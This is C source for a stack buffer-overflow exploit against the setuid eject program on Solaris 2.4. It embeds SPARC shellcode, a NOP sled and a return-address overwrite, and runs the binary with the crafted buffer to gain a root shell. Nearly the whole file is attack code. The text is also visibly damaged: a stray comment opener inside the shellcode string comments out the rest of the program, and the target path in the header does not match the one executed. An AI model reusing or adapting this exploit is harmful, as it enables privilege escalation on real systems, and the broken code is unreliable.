/* /usr/bin/eject exploit for Solaris 2.4 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH 264
#define EXTRA 36
#define STACK_OFFSET 8
#define SPARC_NOP 0xc013a61c

u_char sparc_shellcode[] =
  "\xc0\x13\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
  "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
  "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
  "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
  "\x91\xd0"/*\x20\x08";
   
  u_long get_sp(void)
  {
  __asm__("mov %sp,%i0 \n");
  }
   
  void main(int argc, char *argv[])
  {
      char buf[BUF_LENGTH + EXTRA + 8];
      long targ_addr;
      u_long *long_p;
      u_char *char_p;
      int i, code_length = strlen(sparc_shellcode),dso=0;
   
      if(argc > 1) dso=atoi(argv[1]);
   
      long_p =(u_long *) buf ;
      targ_addr = get_sp() - STACK_OFFSET - dso;
   
      for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
      *long_p++ = SPARC_NOP;
   
      char_p = (u_char *) long_p;
   
      for (i = 0; i < code_length; i++)
      *char_p++ = sparc_shellcode[i];
   
      long_p = (u_long *) char_p;
   
      for (i = 0; i < EXTRA / sizeof(u_long); i++)
      *long_p++ =targ_addr;
   
      printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
      targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
      execl("/bin/eject", "eject", & buf,(char *) 0);
      perror("execl failed");
  }
  /*                    www.hack.co.za              [2000]*/